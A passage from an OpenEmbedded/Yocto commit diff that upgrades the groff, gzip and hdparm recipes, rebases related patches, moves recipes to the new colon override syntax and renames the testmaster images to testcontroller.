-| ^~~~~~~
-...
-
-Upstream-Status: Backport [http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=commit;h=453ff940449bbbde9ec00f0bbf82a359c5598fc7]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- gnulib_m4/signbit.m4 | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/gnulib_m4/signbit.m4 b/gnulib_m4/signbit.m4
-index 9e7884d..8b9c70c 100644
---- a/gnulib_m4/signbit.m4
-+++ b/gnulib_m4/signbit.m4
-@@ -31,6 +31,8 @@ AC_DEFUN([gl_SIGNBIT],
- [case "$host_os" in
- # Guess yes on glibc systems.
- *-gnu* | gnu*) gl_cv_func_signbit="guessing yes" ;;
-+ # Guess yes on musl systems.
-+ *-musl*) gl_cv_func_signbit="guessing yes" ;;
- # Guess yes on native Windows.
- mingw*) gl_cv_func_signbit="guessing yes" ;;
- # If we don't know, assume the worst.
---
-2.7.4
-
diff --git a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
index c80a2a5c38..23992576f9 100644
--- a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
+++ b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
@@ -1,7 +1,7 @@
-From 75761ae7adc88412de4379d1cf5484b055cd5f18 Mon Sep 17 00:00:00 2001
+From eb16276c3e2e34aa2e57f6a0e68554657b90cd28 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Sat, 11 May 2019 17:06:29 +0800
-Subject: [PATCH 2/2] groff searchs fonts which are provided by ghostscript on
+Subject: [PATCH] groff searchs fonts which are provided by ghostscript on
build host. It causes non-determinism issue. So not search font dirs on host.
Upstream-Status: Inappropriate [cross build specific]
@@ -10,23 +10,30 @@ Signed-off-by: Kai Kang <kai.kang@windriver.com>
Rebase to 1.22.4
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- font/devpdf/Foundry.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
+ font/devpdf/Foundry.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/font/devpdf/Foundry.in b/font/devpdf/Foundry.in
-index 93e9b66..235b23b 100644
+index e5aba65..5441734 100644
--- a/font/devpdf/Foundry.in
+++ b/font/devpdf/Foundry.in
-@@ -65,7 +65,7 @@ ZD|Y||||Dingbats!d050000l.pfb
- #======================================================================
+@@ -20,7 +20,7 @@
- #Foundry|Name|Searchpath
--foundry|U|(gs):@urwfontsdir@ :/usr/share/fonts/type1/gsfonts :/opt/local/share/fonts/urw-fonts # the URW fonts delivered with ghostscript (may be different)
-+foundry|U|(gs) # the URW fonts delivered with ghostscript (may be different)
- #Define Flags for afmtodit
+ #=======================================================================
+ #Foundry|Name|Search path
+-foundry||@urwfontsdir@:(gs):/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript
++foundry||(gs)
+
+ # Enable the font description files for grops (generated from Adobe
+ # foundry font files) to be used with gropdf. afmtodit must not be
+@@ -72,7 +72,7 @@ EURO|N||||*../devps/freeeuro.pfa
+ # URW fonts are typically shipped with Ghostscript, but can be replaced.
+
+ #Foundry|Name|Search path
+-foundry|U|@urwfontsdir@:/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript:(gs)
++foundry|U|(gs)
+
+ # Define flags for afmtodit.
- r=-i 0 -m
---
-2.7.4
-
diff --git a/meta/recipes-extended/groff/groff_1.22.4.bb b/meta/recipes-extended/groff/groff_1.22.4.bb
deleted file mode 100644
index e398478349..0000000000
--- a/meta/recipes-extended/groff/groff_1.22.4.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-SUMMARY = "GNU Troff software"
-DESCRIPTION = "The groff (GNU troff) software is a typesetting package which reads plain text mixed with \
-formatting commands and produces formatted output."
-SECTION = "base"
-HOMEPAGE = "http://www.gnu.org/software/groff/"
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
- file://0001-replace-perl-w-with-use-warnings.patch \
- file://groff-not-search-fonts-on-build-host.patch \
- file://0001-support-musl.patch \
- file://0001-Include-config.h.patch \
- file://0001-Make-manpages-mulitlib-identical.patch \
-"
-
-SRC_URI[md5sum] = "08fb04335e2f5e73f23ea4c3adbf0c5f"
-SRC_URI[sha256sum] = "e78e7b4cb7dec310849004fa88847c44701e8d133b5d4c13057d876c1bad0293"
-
-DEPENDS = "bison-native"
-RDEPENDS_${PN} += "perl sed"
-
-inherit autotools-brokensep texinfo multilib_script pkgconfig
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/groffer ${PN}:${bindir}/grog"
-
-EXTRA_OECONF = "--without-x --without-doc"
-PARALLEL_MAKE = ""
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no'"
-
-do_install_append() {
- # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
- # for target as /usr/bin/perl, so fix it to /usr/bin/perl.
- for i in afmtodit mmroff gropdf pdfmom grog; do
- if [ -f ${D}${bindir}/$i ]; then
- sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/$i
- fi
- done
- if [ -e ${D}${libdir}/charset.alias ]; then
- rm -rf ${D}${libdir}/charset.alias
- fi
-
- # awk is located at /usr/bin/, not /bin/
- SPECIAL_AWK=`find ${D} -name special.awk`
- if [ -f ${SPECIAL_AWK} ]; then
- sed -i -e 's:#!.*awk:#! ${USRBINPATH}/awk:' ${SPECIAL_AWK}
- fi
-
- # not ship /usr/bin/glilypond and its releated files in embedded target system
- rm -rf ${D}${bindir}/glilypond
- rm -rf ${D}${libdir}/groff/glilypond
- rm -rf ${D}${mandir}/man1/glilypond*
-}
-
-do_install_append_class-native() {
- create_cmdline_wrapper ${D}/${bindir}/groff \
- -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
- -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
-}
-
-FILES_${PN} += "${libdir}/${BPN}/site-tmac \
- ${libdir}/${BPN}/groffer/"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/groff/groff_1.23.0.bb b/meta/recipes-extended/groff/groff_1.23.0.bb
new file mode 100644
index 0000000000..0fc4f831d8
--- /dev/null
+++ b/meta/recipes-extended/groff/groff_1.23.0.bb
@@ -0,0 +1,78 @@
+SUMMARY = "GNU Troff software"
+DESCRIPTION = "The groff (GNU troff) software is a typesetting package which reads plain text mixed with \
+formatting commands and produces formatted output."
+SECTION = "base"
+HOMEPAGE = "http://www.gnu.org/software/groff/"
+LICENSE = "GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
+ file://groff-not-search-fonts-on-build-host.patch \
+ file://0001-Make-manpages-mulitlib-identical.patch \
+ file://0001-build-Fix-Savannah-64681-webpage.ps-deps.patch \
+ file://0001-build-meintro_fr.ps-depends-on-tbl.patch \
+ "
+
+SRC_URI[sha256sum] = "6b9757f592b7518b4902eb6af7e54570bdccba37a871fddb2d30ae3863511c13"
+
+DEPENDS = "bison-native groff-native"
+RDEPENDS:${PN} += "perl sed"
+
+inherit autotools-brokensep texinfo multilib_script pkgconfig
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/grog"
+
+EXTRA_OECONF = "--without-x --with-urw-fonts-dir=/completely/bogus/dir/"
+EXTRA_OEMAKE:class-target = "GROFFBIN=groff GROFF_BIN_PATH=${STAGING_BINDIR_NATIVE}"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4"
+
+# Delete these generated files since we depend on bison-native
+# and regenerate them. Do it deterministically (always).
+do_configure:prepend() {
+ rm -f ${S}/src/preproc/eqn/eqn.cpp
+ rm -f ${S}/src/preproc/eqn/eqn.hpp
+}
+
+do_install:append() {
+ # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
+ # for target as /usr/bin/perl, so fix it to /usr/bin/perl.
+ for i in afmtodit mmroff gropdf pdfmom grog; do
+ if [ -f ${D}${bindir}/$i ]; then
+ sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/$i
+ fi
+ done
+ if [ -e ${D}${libdir}/charset.alias ]; then
+ rm -rf ${D}${libdir}/charset.alias
+ fi
+
+ # awk is located at /usr/bin/, not /bin/
+ SPECIAL_AWK=`find ${D} -name special.awk`
+ if [ -f ${SPECIAL_AWK} ]; then
+ sed -i -e 's:#!.*awk:#! ${USRBINPATH}/awk:' ${SPECIAL_AWK}
+ fi
+
+ # not ship /usr/bin/glilypond and its releated files in embedded target system
+ rm -rf ${D}${bindir}/glilypond
+ rm -rf ${D}${libdir}/groff/glilypond
+ rm -rf ${D}${mandir}/man1/glilypond*
+
+ # not ship /usr/bin/grap2graph and its releated man files
+ rm -rf ${D}${bindir}/grap2graph
+ rm -rf ${D}${mandir}/man1/grap2graph*
+
+ # strip hosttool path out of generated files
+ sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${docdir}/${BP}/examples/hdtbl/*.roff
+}
+
+do_install:append:class-native() {
+ create_cmdline_wrapper ${D}/${bindir}/groff \
+ -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
+ -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
+}
+
+FILES:${PN} += "${libdir}/${BPN}/site-tmac \
+ ${libdir}/${BPN}/groffer/"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
index 7c37bc8d2d..7f9e249de8 100644
--- a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch
+++ b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
@@ -18,19 +18,19 @@ Upstream-Status: Pending
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/Makefile.am b/Makefile.am
-index d4ecc3f..e4657d2 100644
+index 4f51b61..80a5ddf 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -82,8 +82,7 @@ SUFFIXES = .in
+@@ -93,8 +93,7 @@ SUFFIXES = .in
.in:
$(AM_V_GEN)rm -f $@-t $@ \
- && sed \
+ && sed \
- -e 's|/bin/sh|$(SHELL)|g' \
- -e 's|[@]GREP@|$(GREP)|g' \
+ -e 's|[@]GREP@|$(base_bindir)/grep|g' \
- -e 's|[@]VERSION@|$(VERSION)|g' \
- $(srcdir)/$@.in >$@-t \
- && chmod a=rx $@-t \
---
+ -e "s|'gzip'|$(GZIP_TRANSFORMED)|g" \
+ -e "s|'zdiff'|$(ZDIFF_TRANSFORMED)|g" \
+ -e "s|'zgrep'|$(ZGREP_TRANSFORMED)|g" \
+--
2.7.4
diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc
index 04f8f95dd5..62b3e2f4f9 100644
--- a/meta/recipes-extended/gzip/gzip.inc
+++ b/meta/recipes-extended/gzip/gzip.inc
@@ -3,15 +3,15 @@ DESCRIPTION = "GNU Gzip is a popular data compression program originally written
project. Mark Adler wrote the decompression part"
HOMEPAGE = "http://www.gnu.org/software/gzip/"
SECTION = "console/utils"
-# change to GPLv3+ in 2007/07. Previous GPLv2 version is 1.3.12
inherit autotools texinfo
export DEFS="NO_ASM"
-EXTRA_OEMAKE_class-target = "GREP=${base_bindir}/grep"
-EXTRA_OECONF_append_libc-musl = " gl_cv_func_fflush_stdin=yes "
+EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep"
+EXTRA_OEMAKE:append:class-nativesdk = " GREP=grep"
+EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes "
-do_install_append () {
+do_install:append () {
if [ "${base_bindir}" != "${bindir}" ]; then
# Rename and move files into /bin (FHS), which is typical place for gzip
install -d ${D}${base_bindir}
@@ -25,7 +25,7 @@ do_install_append () {
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/gzip/gzip_1.10.bb b/meta/recipes-extended/gzip/gzip_1.10.bb
deleted file mode 100644
index 9778e687e1..0000000000
--- a/meta/recipes-extended/gzip/gzip_1.10.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-require gzip.inc
-
-LICENSE = "GPLv3+"
-
-SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
- file://run-ptest \
- "
-SRC_URI_append_class-target = " file://wrong-path-fix.patch"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
-
-PROVIDES_append_class-native = " gzip-replacement-native"
-
-RDEPENDS_${PN}-ptest += "make perl grep diffutils"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit ptest
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/src/build-aux
- cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/src/build-aux/
- mkdir -p ${D}${PTEST_PATH}/src/tests
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/src/tests
- sed -e 's/^abs_srcdir = ..*/abs_srcdir = \.\./' \
- -e 's/^top_srcdir = ..*/top_srcdir = \.\./' \
- -e 's/^GREP = ..*/GREP = grep/' \
- -e 's/^AWK = ..*/AWK = awk/' \
- -e 's/^srcdir = ..*/srcdir = \./' \
- -e 's/^Makefile: ..*/Makefile: /' \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
-}
-
-SRC_URI[md5sum] = "cf9ee51aff167ff69844d5d7d71c8b20"
-SRC_URI[sha256sum] = "c91f74430bf7bc20402e1f657d0b252cb80aa66ba333a25704512af346633c68"
diff --git a/meta/recipes-extended/gzip/gzip_1.13.bb b/meta/recipes-extended/gzip/gzip_1.13.bb
new file mode 100644
index 0000000000..fd846b30a5
--- /dev/null
+++ b/meta/recipes-extended/gzip/gzip_1.13.bb
@@ -0,0 +1,41 @@
+require gzip.inc
+
+# change to GPL-3.0-or-later in 2007/07. Previous GPL-2.0-or-later version is
+# 1.3.12
+LICENSE = "GPL-3.0-or-later"
+
+SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI:append:class-target = " file://wrong-path-fix.patch"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
+
+PROVIDES:append:class-native = " gzip-replacement-native"
+
+RDEPENDS:${PN}-ptest += "make perl grep diffutils"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/src/build-aux
+ cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/src/build-aux/
+ mkdir -p ${D}${PTEST_PATH}/src/tests
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/src/tests
+ sed -e 's/^abs_srcdir = ..*/abs_srcdir = \.\./' \
+ -e 's/^top_srcdir = ..*/top_srcdir = \.\./' \
+ -e 's/^GREP = ..*/GREP = grep/' \
+ -e 's/^AWK = ..*/AWK = awk/' \
+ -e 's/^srcdir = ..*/srcdir = \./' \
+ -e 's/^Makefile: ..*/Makefile: /' \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
+}
+
+SRC_URI[sha256sum] = "20fc818aeebae87cdbf209d35141ad9d3cf312b35a5e6be61bfcfbf9eddd212a"
diff --git a/meta/recipes-extended/hdparm/hdparm_9.58.bb b/meta/recipes-extended/hdparm/hdparm_9.58.bb
deleted file mode 100644
index e47dedae89..0000000000
--- a/meta/recipes-extended/hdparm/hdparm_9.58.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Utility for viewing/manipulating IDE disk drive/driver parameters"
-HOMEPAGE = "http://sourceforge.net/projects/hdparm/"
-DESCRIPTION = "hdparm is a Linux shell utility for viewing \
-and manipulating various IDE drive and driver parameters."
-SECTION = "console/utils"
-
-LICENSE = "BSD & GPLv2"
-LICENSE_${PN} = "BSD"
-LICENSE_${PN}-dbg = "BSD"
-LICENSE_wiper = "GPLv2"
-
-LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
- file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
- file://wiper/GPLv2.txt;md5=fcb02dc552a041dee27e4b85c7396067 \
- file://wiper/wiper.sh;beginline=7;endline=31;md5=b7bc642addc152ea307505bf1a296f09"
-
-
-PACKAGES =+ "wiper"
-
-FILES_wiper = "${bindir}/wiper.sh"
-
-RDEPENDS_wiper = "bash gawk coreutils"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
- file://wiper.sh-fix-stat-path.patch \
- "
-
-SRC_URI[md5sum] = "4652c49cf096a64683c05f54b4fa4679"
-SRC_URI[sha256sum] = "9ae78e883f3ce071d32ee0f1b9a2845a634fc4dd94a434e653fdbef551c5e10f"
-
-EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
-
-inherit update-alternatives
-
-ALTERNATIVE_${PN} = "hdparm"
-ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install () {
- install -d ${D}/${base_sbindir} ${D}/${mandir}/man8 ${D}/${bindir}
- oe_runmake 'DESTDIR=${D}' 'sbindir=${base_sbindir}' install
- cp ${S}/wiper/wiper.sh ${D}/${bindir}
-}
diff --git a/meta/recipes-extended/hdparm/hdparm_9.65.bb b/meta/recipes-extended/hdparm/hdparm_9.65.bb
new file mode 100644
index 0000000000..d5e6ab6065
--- /dev/null
+++ b/meta/recipes-extended/hdparm/hdparm_9.65.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Utility for viewing/manipulating IDE disk drive/driver parameters"
+HOMEPAGE = "http://sourceforge.net/projects/hdparm/"
+DESCRIPTION = "hdparm is a Linux shell utility for viewing \
+and manipulating various IDE drive and driver parameters."
+SECTION = "console/utils"
+
+LICENSE = "BSD-2-Clause & GPL-2.0-only & hdparm"
+LICENSE:${PN} = "BSD-2-Clause & hdparm"
+LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm"
+LICENSE:wiper = "GPL-2.0-only"
+NO_GENERIC_LICENSE[hdparm] = "LICENSE.TXT"
+
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
+ file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
+ file://wiper/GPLv2.txt;md5=fcb02dc552a041dee27e4b85c7396067 \
+ file://wiper/wiper.sh;beginline=7;endline=31;md5=b7bc642addc152ea307505bf1a296f09"
+
+
+PACKAGES =+ "wiper"
+
+FILES:wiper = "${bindir}/wiper.sh"
+
+RDEPENDS:wiper = "bash gawk coreutils"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
+ file://wiper.sh-fix-stat-path.patch \
+ "
+
+SRC_URI[sha256sum] = "d14929f910d060932e717e9382425d47c2e7144235a53713d55a94f7de535a4b"
+
+EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
+
+inherit update-alternatives
+
+ALTERNATIVE:${PN} = "hdparm"
+ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install () {
+ install -d ${D}/${base_sbindir} ${D}/${mandir}/man8 ${D}/${bindir}
+ oe_runmake 'DESTDIR=${D}' 'sbindir=${base_sbindir}' install
+ cp ${S}/wiper/wiper.sh ${D}/${bindir}
+}
diff --git a/meta/recipes-extended/images/core-image-full-cmdline.bb b/meta/recipes-extended/images/core-image-full-cmdline.bb
index 4d69073d9d..b034cd0aeb 100644
--- a/meta/recipes-extended/images/core-image-full-cmdline.bb
+++ b/meta/recipes-extended/images/core-image-full-cmdline.bb
@@ -1,7 +1,7 @@
-DESCRIPTION = "A console-only image with more full-featured Linux system \
+SUMMARY = "A console-only image with more full-featured Linux system \
functionality installed."
-IMAGE_FEATURES += "splash ssh-server-openssh"
+IMAGE_FEATURES += "splash ssh-server-openssh package-management"
IMAGE_INSTALL = "\
packagegroup-core-boot \
diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb
index 4d16da1ea8..4018af7a3a 100644
--- a/meta/recipes-extended/images/core-image-kernel-dev.bb
+++ b/meta/recipes-extended/images/core-image-kernel-dev.bb
@@ -15,7 +15,7 @@ CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \
"
# We need extra space for things like kernel builds, etc.
-IMAGE_ROOTFS_EXTRA_SPACE_append = " + 3000000"
+IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000"
# Let's define our own subset to test, we can later add a on-target kernel build even!
DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs"
diff --git a/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
new file mode 100644
index 0000000000..3b81afd7c0
--- /dev/null
+++ b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Small image capable of booting a device with custom install scripts, \
+adding a second rootfs, used for testing."
+
+# use -testfs live-install scripts
+PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-live-install-efi-testfs busybox udev base-passwd ${ROOTFS_BOOTSTRAP_INSTALL}"
+
+# Do not pollute the initrd image with rootfs features
+IMAGE_FEATURES = ""
+
+IMAGE_NAME_SUFFIX ?= ""
+IMAGE_LINGUAS = ""
+
+LICENSE = "MIT"
+
+IMAGE_FSTYPES = "${INITRAMFS_FSTYPES}"
+inherit core-image
+
+IMAGE_ROOTFS_SIZE = "8192"
+IMAGE_ROOTFS_EXTRA_SPACE = "0"
+BAD_RECOMMENDATIONS += "busybox-syslog"
+
+# Use the same restriction as initramfs-live-install-testfs
+COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-extended/images/core-image-testcontroller.bb b/meta/recipes-extended/images/core-image-testcontroller.bb
new file mode 100644
index 0000000000..ff79bde0c5
--- /dev/null
+++ b/meta/recipes-extended/images/core-image-testcontroller.bb
@@ -0,0 +1,18 @@
+SUMMARY = "A test controller image to be deployed on a target useful for testing other images using the OEQA runtime tests"
+
+IMAGE_FEATURES += "ssh-server-openssh package-management"
+
+inherit core-image
+
+# the deploy code requires bash and
+# normal linux utilities not busybox ones
+IMAGE_INSTALL += "\
+ bash coreutils util-linux tar gzip bzip2 kmod \
+ python3-modules python3-misc \
+ e2fsprogs e2fsprogs-mke2fs parted \
+ "
+# we need a particular initramfs for live images
+# that pulls custom install scripts which take
+# care of partitioning for us
+INITRD_IMAGE = "core-image-testcontroller-initramfs"
+
diff --git a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb b/meta/recipes-extended/images/core-image-testmaster-initramfs.bb
deleted file mode 100644
index 09a6d16042..0000000000
--- a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-DESCRIPTION = "Small image capable of booting a device with custom install scripts, \
-adding a second rootfs, used for testing."
-
-# use -testfs live-install scripts
-PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-live-install-efi-testfs busybox udev base-passwd ${ROOTFS_BOOTSTRAP_INSTALL}"
-
-# Do not pollute the initrd image with rootfs features
-IMAGE_FEATURES = ""
-
-export IMAGE_BASENAME = "core-image-testmaster-initramfs"
-IMAGE_LINGUAS = ""
-
-LICENSE = "MIT"
-
-IMAGE_FSTYPES = "${INITRAMFS_FSTYPES}"
-inherit core-image
-
-IMAGE_ROOTFS_SIZE = "8192"
-IMAGE_ROOTFS_EXTRA_SPACE = "0"
-BAD_RECOMMENDATIONS += "busybox-syslog"
-
-# Use the same restriction as initramfs-live-install-testfs
-COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-extended/images/core-image-testmaster.bb b/meta/recipes-extended/images/core-image-testmaster.bb
deleted file mode 100644
index 0faf18f5a4..0000000000
--- a/meta/recipes-extended/images/core-image-testmaster.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-DESCRIPTION = "A master image to be deployed on a target useful for testing other images"
-
-IMAGE_FEATURES += "ssh-server-openssh package-management"
-
-inherit core-image
-
-# the deploy code requires bash and
-# normal linux utilities not busybox ones
-IMAGE_INSTALL += "\
- bash coreutils util-linux tar gzip bzip2 kmod \
- python3-modules python3-misc \
- e2fsprogs e2fsprogs-mke2fs parted \
- "
-# we need a particular initramfs for live images
-# that pulls custom install scripts which take
-# care of partitioning for us
-INITRD_IMAGE = "core-image-testmaster-initramfs"
-
diff --git a/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch b/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch
deleted file mode 100644
index 51ed66ed24..0000000000
--- a/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From d4ed0c741fc789bb09d977d74d30875fdd50d08b Mon Sep 17 00:00:00 2001
-From: Jan Engelhardt <jengelh@inai.de>
-Date: Wed, 3 Jun 2020 15:38:48 +0200
-Subject: [PATCH] build: resolve iptables-apply not getting installed
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-ip6tables-apply gets installed but iptables-apply does not.
-That is wrong.
-
-» make install DESTDIR=$PWD/r
-» find r -name "*app*"
-r/usr/local/sbin/ip6tables-apply
-r/usr/local/share/man/man8/iptables-apply.8
-r/usr/local/share/man/man8/ip6tables-apply.8
-
-Fixes: v1.8.5~87
-Signed-off-by: Jan Engelhardt <jengelh@inai.de>
-Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
-
-Upstream-Status: Backport
-[https://git.netfilter.org/iptables/commit/?id=d4ed0c741fc789bb09d977d74d30875fdd50d08b]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- iptables/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/iptables/Makefile.am b/iptables/Makefile.am
-index dc66b3cc..2024dbf5 100644
---- a/iptables/Makefile.am
-+++ b/iptables/Makefile.am
-@@ -56,7 +56,7 @@ man_MANS = iptables.8 iptables-restore.8 iptables-save.8 \
- ip6tables-save.8 iptables-extensions.8 \
- iptables-apply.8 ip6tables-apply.8
-
--sbin_SCRIPT = iptables-apply
-+sbin_SCRIPTS = iptables-apply
-
- if ENABLE_NFTABLES
- man_MANS += xtables-nft.8 xtables-translate.8 xtables-legacy.8 \
---
-2.17.1
-
diff --git a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
index 03c36ccbc2..8824bf2af7 100644
--- a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
+++ b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
@@ -1,4 +1,4 @@
-From c46db7c2e1f63ec525835553587e70c635565310 Mon Sep 17 00:00:00 2001
+From 0096c854d5015918ed154dccb3ad472fd06c1010 Mon Sep 17 00:00:00 2001
From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 21 Feb 2017 11:16:31 +0200
Subject: [PATCH] configure: Add option to enable/disable libnfnetlink
@@ -10,12 +10,13 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
configure.ac | 10 +++++++---
